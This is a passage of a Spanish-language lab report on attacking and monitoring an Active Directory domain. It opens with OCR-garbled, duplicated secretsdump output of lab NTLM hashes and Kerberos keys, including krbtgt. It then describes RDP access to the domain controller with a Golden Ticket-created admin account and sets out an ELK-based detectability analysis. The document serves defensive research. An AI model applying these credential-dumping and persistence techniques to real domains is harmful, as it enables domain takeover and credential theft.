NL$KM:4F9035cc95a789131 WUEIlbﬂ‘J76~d~ela]hs‘1~wnLt!cm‘ﬂ’wad' fb7166d348493251b7609b39c436a46d8ead59d3490bF c33d321931b5842eb
(+) Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[+] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3bs3shs1404ee: b~iﬂhw~2rlahlﬂhww/lelt,\%‘-‘l
3! 13d3b435b51404eeaad3be35b51404ce: (lﬂhzlrmle.\t%m 3c59d7e0c089

adabA3sbS1ebeeeandabeIsh1u0iee: 30441 00dAIbT1TORASO87 ¢ 0CES
2ad3b435b51404eeaad3biISh51404ee: 777870b4 432450407 24db01aeda 753!
ee:89551acf F6805768e480bb3054af94fd :
d3b435b51404 e 2022200040 22602 ecace2841528F74
helpdesk: 1108: aad3bs35b51404eeand bAI5b51404ee : 14 FdF0F8571b29196580002714d551
Lab_admin: 1109: aad3b435b51404eeaadiba3shs140see :b1fed10276a92 feafbusubise14T1e
replicator_user:1110:aad3ba. 3826¢7¢3

localadminl:1113:aad3b435b51404eeaad3b435b51404ee; 5Fcbdf536ff94667c876fbcOb7fIckds :::
svc-sqle2:1124:aad3b435b51404eeaad3b435b51404ee: f03852c8ebca7bdb193894e95e4d4140 ¢
lab.local\attacker:1125:aad3b435b51404eeaad3b435b51404ee: 7dfa0531d73101ca080c7379a9bff1cy :::
goldenadmin:2101:aad3b435b51404eeaad3b435b51404ee:217e50203a5abas9cefa863c724bf61b 1 :
DCO1$:1000:aad3b435b51404eeaad3b435b51404ee: 186144 cd5d34a84e0f728466e574Fak4g 10
CLIENT1$:1114:aad3b435b51404eeaad3b435b51404ee: ecebfefof961573b13c27319b0c ek 12
CLIENT2$:1115:aad3b435b51404eeaad3b4a35b51404¢; 0fc0390b206502f146aeb5daj4bfa33 :
CLIENT3$:1116:aad3b435b51404eeaad3b435b51404¢ee: 65e5e9003aaada04f6755d71c26a87f5 :
DELEG-CLIENT$:1117:aad3b435b51404eeaad3b435b51404ee: 98811A3baeh5f88a93ﬁ@b25fcefefhge B
ELK01$:1118:aad3b435b51404eeaad3bs35b51404ee:b279d31d596534df4533341c6bfebds2 120
SQLO1$:1121:aad3b435b51404eeaad3b435b51404ee:b1479917133def4482191a4137F7a54b :
5QL025§:1122:aad3b435b51404eeaad3b435b51404ee: 2e649F52adf1ae6f5905ca2b6fa426ec :::

[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-shal-96:462b8aaa@00444d10b573589aca04347c6ccaedb03e2378286853eb5709865¢9
Administrator:aes128-cts-hmac-shal-96:893cc156eabb152ce198872286e13771
Administrator:des-chc-md5:262fcb4f5d649eat
krbtgt:aes256-cts-hmac-shal-96:c604c282balaalc7e4b034ba266a454983b77944c78e3068e6388deafd46312f
krbtgt:aes128-cts-hmac-shal-96:0c3ed1e292146e1c29c7ae627c298eab
krbtgt:des-chc-md5:bf29bfcd9d108f16
usuariol:aes256-cts-hmac-sha1-96:86f8b41lea53eeb765c9d5b103872d1cf22a9b8a265abf8621ce872a9e3049d87
usuariol:aes128-cts-hmac-shal-96:¢c3517d74296185ba7827d4adcf59f7a0
usuariol:des-cbc-md5:bfa1385bdc576e58
svc-web:aes256-cts-hmac-shal-96:d3b88fa705e04c3efb4tas449845fcd52f532a9cc75413a52d340a04b6cfbfo2e
svc-web:aes128-cts-hmac-shal-96:6479abca5f14add1bbs8gse1bss3dfga
svc-web:des-cbc-md5:8f8aad75ef89eald
userl:aes256-cts-hmac-shal-96:e1d74e4404701840674db876f1f11d45cbces3f5ac4b99722227a5¢c5730a65¢ca
user1:aes128-cts-hmac-shal-96:bbfoe557ba49a816bfb3saba716a75b9

userl:des-cbc-md5:4f1a260dd079945b
user2:aes256-cts-hmac-shal-96:da0486a929592d6653127b81f3e7c85d4437cfa22a5deaedfef3eeabfaedbss?
user2:aes128-cts-hmac-shal-96:6458f2723a16d4b726aba7c50720782¢c

user2:des-cbc-md5:7520a2bf8f6d58b0
helpdesk:aes256-cts-hmac-shal-96:6183b9be3b551eal4256ae6d5f7241738a21bbb441610b3e5091e8c7540ff83e
helpdesk:aes128-cts-hmac-shal-96:cag8beb6c7312d70ef816e037e08582ed

helpdesk:des-cbc-md5: 40bc682f9808e31a
lab_admin:aes256-cts-hmac-shal-96:e38a0bb6b2fd868df521bef597483aac17abelcf57561f12e02ac40c92744787
lab_admin:aes128-cts-hmac-shal-96:2faeb1f7fdee27f2dcd9f8ca54f52c5f
lab_admin:des-cbhc-md5:26e93202b6325dea
replicator_user:aes256-cts-hmac-shal-96:add6bo4ac3756a81bb3b7f4ed4cabbdc99cc1e66bdc2755683569d001096b8bO
replicator_user:aes128-cts-hmac-sha1-96:d34dfa87a7336857baf84f94f4881189
replicator_user:des-chc-md5:26dc40d5917f51fb
svc-app:aes256-cts-hmac-sha1-96:513b455013128b3093fe6ee3bsd9ecef2cd9eear15219a700a828cbsbe740d7
svc-app:aes128-cts-hmac-shal-96:eda880f3f47632edb989207e138ca465
svc-app:ides-cbc-md5:@bad5e94efaichge
localadminl:aes256-cts-hmac-sha1-96:aa35eaff2809ce9dd2e8463ef496e25b74c6ae9absbdf1846b1c129cc9fes4s43
localadminl:aes128-cts-hmac-shal-96:4319ce5749f0bdcesadc8664997d1fd6
localadminl:des-cbc-md5:8a2f25b9dafe@8c7
svc-sqle2:aes256-cts-hmac-shal-96:bd3ac43575daa43ed128c3b3d92chf fff8417988bbe36de7de29113d28efo44b

localadminl:1113:aad3b435b51404eeaad3b435b51404ee: 5fc6df536ff94667c876fbcObT7f3ckds :::
svc-5qle2:1124:aad3b4a35b51404eeaad3b4s35b51404ee: f03852c8ebca7bdb193894e95e4d4140 121
lab.local\attacker:1125:aad3b435b51404eeaad3b435b51404ee: 7dfa0531d73101cad80c7379a9bf f1c7 :::
goldenadmin:2101:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b iz
DCO1$:1000:aad3b435b51404eeaad3b435b51404ee:186144cd5d34a84e0f728466e574Fa4g 1t
CLIENT1$:1114:aad3b435b51404eeaad3b435b51404¢e: ecebfef0f961573b13c27319b0cfcock
CLIENT2%:1115:aad3b435b51404eeaad3b435b51404ee: 50 c0390b206502F146aeb5da74bf833
CLIENT3$:1116:aad3b435b51404eeaad3b435b51404ee: 65e5e9003aaada04f6755d71c26a87F5 ::
DELEG-CLIENT$:1117:aad3b435b51404eeaad3b435b51404ee: 0881143baeb5f88a9360b25fcefefbge ::
ELK01$:1118:aad3b435b51404eeaad3b435b51404ee:b279d31d596534d4533341c6bfcbd82 :::
5QL01%$:1121:aad3b435b51404eeaad3b435b51404ee:b1479917133def4482101a4137F7a54b 11
SQLB2%$:1122:aad3bs35b51404eeaad3bs35b51404ee: 2e649F52adf1ae6f5905cazb6fas26ec

[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-shal-96:462b8aaa000444d10b573589aca04347c6ccaedb@3e2378286853eb5709865c9
Administrator:aes128-cts-hmac-shal-96:893cc156eabb152ce198872286e13771
Administrator:des-cbc-md5:262fcb4f5d649eas
krbtgt:aes256-cts-hmac-shal-96:c604c282balaalc7e4b034ba266a454983b77944c78e3068e6388deafd46312F
krbtgt:aes128-cts-hmac-shal-96:0c3ed1e292146e1c29c7ae627c298eab

krbtgt:des-cbe-md5:bf29bfcd9d108f16
usuariol:aes256-cts-hmac-shal-96:86f8b41lea53eeb765c9d5b103872d1cf22a9b8a265abf8621ce872a9e3049d87
usuariol:aes128-cts-hmac-shal-96:c3517d74296185ba7827d4adcf59f7a0

usuariol:des-cbc-md5:bfa1385bdc576e58
svc-web:aes256-cts-hmac-shal-96:d3b88fa705e04c3efbsas449845fcds2f532a9cc75413a52d340a04b6cfbfoze
svc-web:aes128-cts-hmac-shal-96:6479abca5f14add1bb4898e1bs63df9a

svc-web:des-cbc-md5:8f8aad75ef89eald
user1:aes256-cts-hmac-shal-96:e1d74e4404701840674db876f1f11d45chbces3f5acab99722227a5¢5730a65¢ca
userl:aes128-cts-hmac-shal-96:bbfoe557ba49a816bfb38aba716a75b9

userl:des-cbc-md5:4f1a260dd@79945b
user2:aes256-cts-hmac-sha1-96:da0486a929592d6653127b81f3e7c85d4437cfa22a5deaedfef3eeabfaedbss?
user2:aes128-cts-hmac-shal-96:6458f2723a16d4b726aba7c50720782¢

user2:des-cbc-md5:7520a2bf8f6d58b0
helpdesk:aes256-cts-hmac-shal-96:6183b9be3b551eal4256ae6d5F7241738a21bbb441610b3e5091e8c7540ff83e
helpdesk:aes128-cts-hmac-shal-96:ca8b@b6c7312d70ef816€037e¢08582ed

helpdesk:des-cbc-md5:40bc682f9808e31a
lab_admin:aes256-cts-hmac-shal-96:e38a0bb6b2fd868df521bef597483aac17abelcf57561f12e02ac40c92744787
lab_admin:aes128-cts-hmac-sha1-96:2faeb1f7fdee27f2dcd9f8cas4f52c5f
lab_admin:des-cbc-md5:26€93202b6325dea
replicator_user:aes256-cts-hmac-shal-96:add6bo4ac3756a81bb3b7f4ed4cabbdc99ccle66bdc2755683569d001096b8b
replicator_user:aes128-cts-hmac-shal-96:d34dfa87a7336857baf84f94f4881189
replicator_user:des-cbc-md5:26dc40d5917f51fb

svc-app:aes256-cts-hmac-shal-96:513b455013128b3093 fe6ee3b4td9ecef2cd9eea215219a700a828cbsbe740d7f
svc-app:aes128-cts-hmac-shal-96:eda880f3f47632edb989207e138ca465

svc-app:des-cbc-md5:@bad5eg4efa7chge
localadminl:aes256-cts-hmac-shal-96:aa35eaff2809ceddd2e8463ef496e25b74c6ae9absbdf1846b1c129ccofeb4ss3
localadminl:aes128-cts-hmac-shal-96:4319ce5749f0bdce4adc8664997d1fd6
localadmini:des-cbc-md5:8a2f25b9dafe@sc?
svc-5qlo2:aes256-cts-hmac-shal-96:bd3ac43575daa43ed128¢3b3d92¢hffff8417988bbe36de7de29113d28efo44b

llustracién 41. Dumping de credenciales del dominio mediante extraccion de hashes NTLM y secretos Kerberos

Esta imagen muestra la extraccion de credenciales del dominio AD usando herramientas de
volcado de credenciales sobre el controlador de dominio DC0O1 como es SercretsDump.




Durante el proceso se recuperon hashes NTLM, credenciales Kerberos y secretos asociados a
multiples cuentas del dominio incluyendo usuarios estandar, cuentas de servicio y cuentas
privilegiadas como Administrator y krbtgt.

Acceso remoto al controlador de dominio

Tras obtener privilegios administrativos se valido el acceso remoto interactivo al controlador de
dominio mediante RDP usando credenciales legitimas durante fases anteriores.

Desde el punto de vista operativo, este acceso confirma que tenemos control efectivo sobre el
sistema mas critico de la infraestructura pudiendo interactuar directamente con:

e Active Directory.

e Servicios de autenticacion.

e Configuracion de politicas.

e Usuariosy grupos privilegiados.

Desde la perspectiva analitica, este compromiso introduce una situacién especialmente
compleja para la deteccidn ya que el acceso se realiza usando mecanismos completamente
legitimos del sistemay credenciales validas.

Aunque el acceso RDP a un controlador de dominio representa una actividad de alto riego, la
existencia del evento no implica necesariamente actividad maliciosa, especialmente en
entornos donde existen tareas administrativas remotas habituales.

Desde el marco MITRE ATT&CK:
e T1021.001 - Remote Desktop Protocol
En términos de detectabilidad:

e Genera eventos de autenticacion observables.
e Puede correlacionarse con accesos privilegiados inusuales.
e Requiere analisis contextual del origen y comportamiento de la sesién.

Por esto su detectabilidad puede considerarse media.
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Illustracion 42. Acceso remoto al controlador de dominio mediante credenciales privilegiadas



La imagen muestra el acceso remoto al controlador de dominio DC01 usando el protocolo RDP
mediante la cuenta privilegiada “goldenadmin” previamente creada durante las fases de
persistenciay compromiso del dominio.

Como resultado se obtiene una sesion interactiva completa sobre el controlador de dominio
accediendo directamente al entorno administrativo de Windows Server y disponiendo de
control total sobre los servicios criticos de AD.

Validacion de privilegios y pertenencia de grupos

Una vez establecido el acceso al controlador de dominio, se verifico la pertenencia de la cuenta
creada con Golden Ticket a grupos criticos como Domain Admins y Enterprise Admins,
confirmando el nivel maximo de privilegios dentro del entorno.

Asimismo, se analizaron los privilegios asociados a la sesién identificando capacidades tipicas
de cuentas administrativas:

e (Gestidon de usuariosy grupos.

e Modificacion de politicas de seguridad.

e Acceso completo arecursos del dominio.

e Ejecucidén de operaciones sensibles del sistema.

Desde el punto de vista analitico, esta fase resulta especialmente relevante porque pone de
manifiesto como se dejan de usar técnicas ofensivas complejas y pasamos a operar usando
privilegios ya existentes.

Esto provoca que muchas de las acciones posteriores pierdan indicadores claramente
andomalos y se integren dentro del comportamiento administrativo esperado.

En términos de detectabilidad:

e Las consultas sobre gruposy privilegios generan poca visibilidad.
e La actividad puede confundirse con administracion legitima.
e Ladeteccion necesita principalmente del contexto de uso.

Por esto, la detectabilidad puede considerarse baja.



Illustracion 43. Validacion de privilegios y pertenencia a grupos privilegiados en Active Directory

Esta imagen muestra la validacién de privilegios asociados a la cuenta “goldenadmin”. Mediante
comandos administrativos se verifico:

e Lapertenencia de la cuenta a grupos privilegiados del dominio.
e Los privilegios administrativos efectivos sobre el sistema.
e Elestadoy configuracion de la cuenta creada.

Como resultado se confirma que la cuenta dispone de privilegios elevados equivalentes a
administracién completa del dominio permitiendo control total sobre AD y los sistemas
asociados.

Enumeracion de infraestructura del dominio

Con privilegios ya consolidados se realizaron acciones de enumeracion orientadas a validar la
estructura critica del dominio y los componentes responsables de su funcionamiento.



Entre los elementos identificadores se incluyen:

e Controladores de dominio.
e Roles FSMO.

Desde el punto de vista ofensivo, esta informacién permite comprender mejor la arquitectura de
autenticacion y administracion del entorno facilitando tanto la persistencia como posibles
movimientos posteriores si hubiese otros bosques.

Analiticamente esta actividad representa que cuantos mas privilegios se poseen, mas normales
parecen las acciones del sistema. Esto implica que tareas potencialmente criticas pueden
resultar practicamente indistinguibles de actividad administrativa legitima.

Desde el marco MITRE ATT&CK:

e T1482 - Domain Trust Discovery
e T1018 - Remote System Discovery

En términos de detectabilidad:

e Las consultas LDAP forman parte del funcionamiento habitual.
e No existen indicadores inequivocos de compromiso.
e Laactividad requiere correlacidon contextual avanzada.

Por ello, su detectabilidad se considera baja.

Ilustracion 44. Enumeracion de infraestructura critica del dominio Active Directory

La imagen muestra la enumeracion de componentes criticos de la infraestructura AD usando
comandos administrativos identificando:

e Controladores de dominio asociados a Lab.local.
e Roles FSMO (Flexible Single Master Operations) del dominio.
e Servicios criticos asociados a la administracién AD.

Como resultado se confirmé que el servidor DC0O1de lab.local concentra multiples roles criticos
del dominio como:

e Schema Master.

e Domain Naming Master.
e RID Master.

e PDC Emulator.

e Infrastructure Master.

Conclusiones de la fase

Esta fase final demuestra que hemos alcanzado un compromiso completo del entorno AD
mediante el encadenamiento progresivo de multiples técnicas ejecutadas a lo largo de las fases
anteriores.



A diferencia de ataques basados exclusivamente en explotacién técnica, el escenario
desarrollado pone de manifiesto que el compromiso total del dominio puede alcanzarse
principalmente mediante el abuso de relaciones de confianza, configuraciones inseguras y el
uso de credenciales vélidas.

Desde el punto de vista de la deteccidn se observa un comportamiento especialmente
relevante:

e Muchas de las acciones realizadas usan mecanismos legitimos del sistema.

e Eluso de privilegios validos reduce significativamente la visibilidad del ataque.

e Loseventosindividuales carecen de capacidad suficiente para identificar el
compromiso.

e Ladeteccidn requiere de la correlacion avanzada y analisis de comportamiento.

De forma comparativa, las fases del ataque presentan una menor detectabilidad que
determinadas fases iniciales pese a representar un impacto significativamente superior. Esto
evidencia una limitacién critica de los modelos tradicionales de deteccion basados
exclusivamente en eventos aislados o indicadores estaticos.

Evaluacion de detectabilidad de la fase

Dumping de Replicaciony acceso | Media/Baja Requiere auditoria
credenciales a secretos especifica
Acceso RDP alDC Inicio de sesién Media Actividad observable,
remoto pero legitima

Validacion de Consultas AD Baja Comportamiento
privilegios administrativo
Enumeracion de Consultas LDAP Baja Dificil de distinguir
dominio del uso normal

Tabla 34. Evaluacién de detectabilidad de técnicas de validacion de compromiso y control del dominio Active

Directory

Esta evaluacion refleja que la detectabilidad disminuye progresivamente conforme se va
adquiriendo mayores privilegios del dominio.

Se observa que las técnicas con mayor impacto operativo no son las mas visibles sino aquellas
capaces de integrarse dentro del comportamiento legitimo usando credenciales validas 'y
funcionalidades administrativas nativas.

Conclusiones generales de la fase ofensiva

A lo largo de las fases se ha demostrado como un entorno AD puede ser comprometido de
forma progresiva mediante el encadenamiento de multiples técnicas reales usadas en ataques
avanzados contra infraestructuras corporativas.

El ataque se inicia con actividades de reconocimiento y enumeracién que pese a presentar un
impacto limitado de forma aislada permiten identificar sistemas criticos, cuentas validas y
relaciones de confianza dentro del dominio. A partir de este punto, el compromiso evoluciona
mediante el abuso de configuraciones inseguras, exposicién de credencialesy uso de
funcionalidades legitimas del sistema hasta alcanzar finalmente el control total del dominio.

Uno de los aspectos mas relevantes durante el desarrollo del ataque es que el compromiso no
depende de la explotacién de una vulnerabilidad critica concreta sino de la acumulaciéon de
multiples debilidades presentes en el entorno. Configuraciones inseguras en recursos SMB,



almacenamiento de credenciales en texto plano, uso de cifrados Kerberos débiles,
delegaciones inseguras o privilegios excesivos que han permitido construir una cadena de
ataque capaz de evolucionar desde un acceso limitado hasta privilegios equivalentes a Domain
Admin.

Desde el punto de vista ofensivo, se observa que las fases iniciales generan una mayor cantidad
de actividad visible dentro del entorno. Técnicas como el escaneo de red, Kerbrute o
BloodHound producen multiples consultas, conexiones y solicitudes de autenticacién que
pueden resultar observables mediante sistemas de monitorizacién. Sin embargo, aunque estas
actividades generan mayor volumen de eventos su identificacién depende del analisis
contextual debido a que usan protocolos y funcionalidades nativas de Active Directory.

Por el contrario, en fases mas avanzadas y con mayores privilegios la detectabilidad disminuye
mucho pese a que el impacto operativo aumenta de forma considerable. EL uso de credenciales
validas, acceso mediante SMB, abuso de delegaciones Kerberos o autenticacién remota sobre
sistemas criticos generan eventos validos dentro del funcionamiento normal del dominio
dificultando la diferenciacién entre actividad administrativa legitima y comportamiento
malicioso.

Este comportamiento pone de manifiesto una de las principales conclusiones obtenidas, las
técnicas mas peligrosas no son las mas ruidosas sino las que se integran dentro del
comportamiento legitimo del entorno usando funcionalidades nativas del sistema.

Adicionalmente, se observé que muchas de las acciones realizadas tenian una detectabilidad
limitada cuando se analizaban de forma aislada. En la mayoria de las fases, los eventos
adquieren mas valor real para la deteccidon cuando son interpretados mediante correlacion
temporal, contextual y multifuente.

En este sentido, el analisis realizado demuestra que la deteccién efectiva de ataques avanzados
en entornos Active Directory no puede depender exclusivamente de firmas o eventos aislados,
sino que requiere modelos basados en comportamiento, correlacidon avanzaday comprension
contextual de la actividad.

Finalmente, las fases que se han desarrollado en este apartado se han permitido validar como
técnicas reales alineadas con MITRE ATT&CK pueden ejecutarse usando procedimientos
utilizados que se aprovechan capacidades estandar del sistemay generar niveles de visibilidad
diferentes en funcién de la fuente de datos disponible y asi reforzando la idea de la importancia
de la monitorizacion centralizada y el analisis contextual en entornos corporativos AD.

5. Analisis de detectabilidad de técnicas en Active Directory

El objetivo de este apartado es analizar la capacidad de deteccidn de las técnicas que se
ejecutaron durante las distintas fases que se ejecutaron en el apartado anterior evaluando que
evidencias se generan, que fuentes de datos permiten observarlas y hasta qué punto estas
actividades pueden diferenciarse del comportamiento legitimo dentro de un entorno
corporativo.

A diferencia del anterior apartado que se centraba en la ejecucidn de los ataques y explotacion
del dominio junto con un adelanto de la detectabilidad, en esta parte el enfoque se pasa ala
visibilidad defensiva del entorno. El propésito principal no es Unicamente demostrar que una
técnica puede ejecutarse con éxito sino estudiar la huella que deja en los sistemas de
monitorizacién y que nivel de detectabilidad deja realmente.



Para ello todas las acciones realizadas durante el ataque fueron monitorizadasy
correlacionadas mediante el stack ELK desplegado en el laboratorio. Este sistema actiua como
nucleo del analisis permitiéndome centralizar, indexar y visualizar los eventos generados por las
distintas maquinas del dominio. Gracias a esto es posible reconstruir la actividad que hemos
generado como atacantes, identificar patrones de comportamiento y analizar las limitaciones
observadas durante el proceso de deteccion.

El analisis se apoya principalmente en varias fuentes de datos:

e Security Logs de Windows, los cuales estan encargados de registrar autenticaciones,
uso de privilegios, acceso a recursos y eventos relacionados con AD y Kerberos.

e Sysmon, usado para ampliar la visibilidad del sistema mediante eventos detallados
sobre la creacién de procesos, conexiones de red, ejecuciéon de binarios y actividad
interna del host.

e Winlogbeat, empleado para el envio centralizado de eventos Windows hacia
Elasticsearch.

e Vector, usado en sistemas Linux para recopilaciéony envio de logs relacionados con
servidores web, bases de datos y actividad del sistema.

e Kibana, se usa como interfaz principal para la correlacién y analisis de eventos
mediante busquedas KQL, filtros y dashboards.

El objetivo no consiste Unicamente en comprobar si la técnica genera eventos sino en
determinar si estos aportan valor real desde el punto de vista defensivo. En muchos casos,
determinadas acciones generan registros que resultan ambiguos o dificiles de distinguir de la
actividad del dominio, sobre todo cuando el atacante usa mecanismos legitimos como
Kerberos, SMB o cuentas validas.

Por esto, el analisis de detectabilidad se centra especialmente en aspectos como:

e Claridad de los eventos generados.

e Necesidad de correlacidon entre multiples fuentes.

e Dependencia de Sysmon para aumentar la visibilidad.

e Diferencia entre actividad legitima y comportamientos maliciosos.

e Limitaciones observadas en los mecanismos de logging nativos de Windows.

Finalmente, este capitulo lo que busca es transformar el laboratorio desplegado en un modelo
de analisis de detectabilidad que nos permita extraer conclusiones practicas sobre que ataques
son claramente visibles, cuales necesitan correlacién avanzada y cuales pueden pasar
practicamente desapercibidos incluso en entornos monitorizados.

Metodologia de evaluacion

Con el objetivo de aportar una evaluacién consistente y reproducible de la capacidad de
deteccion del entorno, se definié una metodologia basada en el analisis de eventos generados
durante la ejecucidén de las técnicas ofensivas sobre el dominio AD.

Esta metodologia no se centra Unicamente en verificar si una accién genera logs, sino en
evaluar si estos eventos proporcionan informacion util desde el punto de vista defensivoy
permite identificar actividad potencialmente maliciosa dentro de un entorno corporativo.

Para esto, mientras se ejecutaban las técnicas alineadas con el framework de MITRE ATT&CK,
estas se monitorizan los eventos producidos tanto en el controlador de dominio como en
workstations y servidores. Tras esto, los eventos se centralizaron los eventos y correlacionaron
en ELK con el objetivo de analizar la visibilidad obtenida en cada fase del ataque.



El proceso de evaluacidn se realiza considerando los siguientes factores:

e Eventos generados por cada técnica.

e Fuente desde la que se obtiene la evidencia.

e Nivelde detalle disponible en los logs.

e Capacidad de detalle disponible en los logs.

e Capacidad de correlacidon entre eventos.

e Dificultad para diferenciar actividad legitima de actividad maliciosa.
e Dependencia de herramientas adicionales como Sysmon.

De esta forma el analisis no se limitara solo a documentar las evidencias sino que busca
determinar que técnicas resultan claramente detectables, cuales solo resultan claramente
identificables cuando se relacionan eventos procedentes de distintas fuentes de datos y cuales
presentan una visibilidad reducida incluso en entornos monitorizados.

Fuentes de datos analizadas

La capacidad de deteccion del laboratorio depende directamente de las fuentes de datos
disponibles y del nivel de visibilidad proporcionado por cada una de estas. Durante el analisis
se usaron distintas fuentes de eventos procedentes tanto de sistemas Windows como Linux,
todas ellas centralizadas en ELK para facilitar su correlaciéon y analisis conjunto.

Security Logs

Registros de seguridad nativos de Windows que constituyen una de las principales fuentes de
informacién dentro del laboratorio. Estos eventos fueron recopilados principalmente desde el
controlador de dominio DCO01 y desde las estaciones de trabajo unidas al dominio.

Los Security Logs proporcionan informacion de:

e Autenticaciones Kerberosy NTLM.

e I|niciosy cierres de sesion.

e Acceso arecursos compartidos.

e Uso de privilegios.

e Cambios sobre cuentas, gruposy objetos del dominio.
e Solicitudes de tickets Kerberos.

Eventos como identificadores 4624, 4625, 4768, 4769, 4672 0 4662 son muy relevantes durante
el analisis de técnicas como password spraying, Kerberoasting, movimiento lateral o DCSync.

Sin embargo, aunque estos registros permiten obtener visibilidad sobre gran parte de la
actividad del dominio presentan limitaciones importantes en cuanto al detalle contextual
disponible, especialmente en técnicas que usan mecanismos propios del entorno Windows.

Sysmon

Con el objetivo de ampliar la capacidad de monitorizacién se desplegd Sysmon en todas las
maquinas del dominio. Este proporciona eventos mucho mas detallados que los registros
nativos de Windows dandonos visibilidad sobre:

e Creacion de procesos.
e Relaciones parent-child entre procesos.
e Ejecucién de herramientas ofensivas.



e Conexiones de red.
e CargadeDLLsy binarios.
e Persistenciay modificaciones del sistema.

Durante el analisis, Sysmon resulté especialmente Util para detectar actividad que apenas
generaba evidencias dentro de Security Logs como la ejecucion de herramientas
postexplotacién, uso de LOLBins o transferencia de binarios.

Ademas, permitio correlacionar procesos concretos con conexiones de red o autenticaciones
observadas en otros registros aumentado la trazabilidad de determinadas técnicas ofensivas.

Por otro lado, Sysmon aumentd considerablemente el volumen de eventos generados haciendo
necesario aplicar filtros y correlaciones para reducir el ruido y centrarse en los eventos
relevantes.

Logs Linux

Los sistemas Linux presentes en el laboratorio también generaron registros relevantes durante
el desarrollo de las fases ofensivas sobre todo en SQLO1.

Estos logs fueron recopilados por Vector e incluian informacion relacionada con:

e Accesos al servidor web.

e Actividad sobre base de datos.

e Errores de autenticacion.

e Ejecucioén de servicios

e Conexiones de redy actividad del sistema.

Aunque la visibilidad obtenida en sistemas Linux es menor que en los sistemas Windows
monitorizados por Sysmon, estos registros también son Utiles para correlacionar accesos a
servicios web y bases de datos con eventos observados posteriormente en AD.

Esto permitié analizar ataques que involucraban multiples sistemas y observar como
determinadas técnicas generaron evidencias distribuidas entre diferentes fuentes de datos.

Elasticsearch y Kibana
Todos los eventos recopilados fueron centralizados en Elasticsearch y posteriormente

analizados mediante Kibana, convirtiendo ELK en el nucleo principal del anélisis de
detectabilidad.

El uso de Kibana permitio:

e Realizar busquedas mediante consultas KQL.

e Correlacionar eventos entre distintos sistemas.

e Filtrar eventos por usuario, hosty EventID.

e Construir dashboards orientados a deteccion.

e Analizar secuencias temporales de actividad ofensiva.

Gracias a esta centralizacion fue posible reconstruir el comportamiento que hicimos como
atacantes a lo largo de las distintas fases del compromiso del dominio y evaluar que técnicas
generaban evidencias claras y cuales requerian correlacién avanzada entre multiples eventos
para ser identificadas correctamente.



Ademas, ELK permitié también observar una de las principales conclusiones del laboratorio,
que es que la existencia de logs no implica necesariamente capacidad de deteccidn ya que
muchas técnicas Unicamente resultan identificables cuando varios eventos eran correctamente
correlacionados dentro del SIEM.

Criterios de detectabilidad

Con el objetivo de poder realizar una evaluaciéon homogénea de las distintas técnicas ofensivas
ejecutadas, se definié varios niveles de detectabilidad en funcién de la calidad, claridad y
capacidad de correlacion de los eventos generados.

Estos criterios permiten clasificar cada técnica no solo por la existencia de logs asociados sino
por la capacidad real que tendria un analista de seguridad para identificar comportamiento
malicioso a partir de las evidencias del SIEM.

Uno de los aspectos mas importantes durante el analisis fue comprobar que la generaciéon de
eventos no implica necesariamente una deteccion efectiva. En numerosos casos, las acciones
ejecutadas producen registros validos dentro del sistema pero estos pueden resultar ambiguos,
insuficientes o dificiles de diferenciar de actividad legitima del dominio.

Por esto la detectabilidad de cada técnica se evalud teniendo en cuenta factores como:

e Laclaridad de los eventos generados.

e Facilidad de correlacion de eventos.

e Dependencia de Sysmon u otras fuentes.

e Nivelde ruido generado en el entorno.

e Diferenciacién respecto a actividad legitima.

e Necesidad de contexto adicional para interpretar la evidencia.

A partir de estos se definieron 4 niveles principales de detectabilidad:

Alta La técnica genera eventos claros,
identificables y facilmente correlacionables.
La actividad puede detectarse de forma
relativamente fiable mediante consultas o
reglas basicas en ELK

Media La técnica genera evidencias utiles pero
requiere de correlacién adicional, analisis
temporal o contexto especifico para
diferenciarla correctamente de actividad
legitima

Baja Los eventos que se generan son ambiguos o
similares a comportamiento normal del
entorno. La deteccién resulta complejay
depende en gran medida del conocimiento
previo o de fuentes adicionales como
Sysmon

Nula La técnica no genera apenas logs relevantes
o la visibilidad disponible es insuficiente para
identificarla de forma fiable mediante los
mecanismos de logging desplegados

Tabla 35. Criterios de clasificacion de detectabilidad utilizados en el analisis de técnicas ofensivas sobre Active
Directory




Esta clasificacion permite establecer una comparativa directa entre las técnicas del laboratorio
y evaluar que mecanismos nos ofrecen una mayor capacidad de deteccién dentro del entorno
AD monitorizado.

Ademas, estos niveles nos muestran que las técnicas que usan funcionalidades legitimas de
Active Directory como Kerberos, SMB o reutilizacién de tickets suelen presentar una
detectabilidad significativamente menor que aquellas que generan eventos administrativos
andémalos o accesos privilegiados claramente identificables.

Por otro lado, también se observé que la detectabilidad no depende solo de la técnica
empleada sino de factores adicionales como la configuracién de auditoria, la presencia de
Sysmon, el nivel de correlacion implementado en ELK y el volumen de actividad legitima
existente en el entorno. Esto implica que una misma técnica puede presentar distintos niveles
de visibilidad dependiendo de la madurez del sistema de monitorizacion desplegado lo que
convierte la correlacion y el analisis contextual en elementos fundamentales dentro del proceso
de deteccion.

Limitaciones del analisis

Aunque el laboratorio ha permitido reproducir multiples técnicas reales contra el entorno AD y
analizar su visibilidad a través de ELK es importante destacar que el analisis presenta una serie
de limitaciones que deben tenerse en cuenta a la hora de interpretar los resultados obtenidos.
Esto resulta fundamental para contextualizar correctamente las conclusiones extraidas y evitar
asumir que los resultados observados pueden extrapolarse directamente a cualquier entorno
corporativo real.

Ademas, muchos factores que afectan a la detectabilidad dependen directamente de la
configuracién del entorno, volumen de actividad y herramientas defensivas desplegadas.

Entorno controlado y reducido

El laboratorio se ha desarrollado en un entorno completamente controlado compuesto por un
numero reducido de maquinas y usuarios. Aunque esto facilita el analisis y analisis contextual
de la actividad, también reduce el ruido presente en entornos reales.

En infraestructuras empresariales con cientos de equipos los eventos relacionados con
autenticaciones, accesos SMB, ejecucién de procesos o solicitudes Kerberos son mucho mas
frecuentes lo que dificulta la identificacién de actividad anédmala.

Por esto determinadas técnicas que en el laboratorio resultan claramente visibles, podrian
pasar mas desapercibidas en entornos reales que tengan mayor volumen de eventos legitimos.

Defensas desactivadas deliberadamente

Para poder ejecutar todas las técnicas ofensivas sin interferencias los mecanismos de defensa
del entorno fueron desactivados de forma intencionada. Esto incluye los antivirus, restricciones
